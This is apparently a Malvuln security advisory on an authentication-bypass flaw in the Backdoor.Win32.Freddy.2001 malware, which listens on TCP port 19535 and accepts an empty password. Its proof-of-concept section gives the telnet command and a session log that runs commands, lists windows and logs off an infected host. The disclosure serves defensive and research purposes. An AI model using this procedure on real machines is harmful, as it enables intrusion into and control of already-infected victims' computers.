Backdoor.Win32.Freddy.2001 Authentication Bypass / Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Freddy.2001  
Vulnerability: Authentication Bypass Command Execution  
Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET.  
Type: PE32  
MD5: 434923afc32a7bc7355ed9a5224b9273  
Vuln ID: MVID-2022-0486  
Dropped files: sycon2.exe  
Disclosure: 02/08/2022  
  
Exploit/PoC:  
#Note: use TELNET  
  
telnet.exe x.x.x.x 19535  
  
Enter password:  
  
User: Victim   
Computer net name: DESKTOP-2C3JQHO  
IP address: 192.168.18.129  
Local date & time: 2/3/2022 2:45:46 AM  
Hackers connected: 2  
$y(0n v.2.3.2 by Meerkat Systems | NLG  
Sycon>  
Sycon> windows   
Window 6976: dump   
Window 6976: tmp   
Window 1956: Administrator: Administrator Command Prompt   
Window 6976: Program Manager   
Sycon> cd \   
CD: C:\   
Sycon> dir   
Found: $Recycle.Bin   
Found: Boot   
Found: bootmgr   
Found: BOOTNXT   
etc...  
Sycon> exec calc   
Executing...   
Sycon> logoff   
Windows is going down...   
I'm killed!   
Sycon>  
  
  
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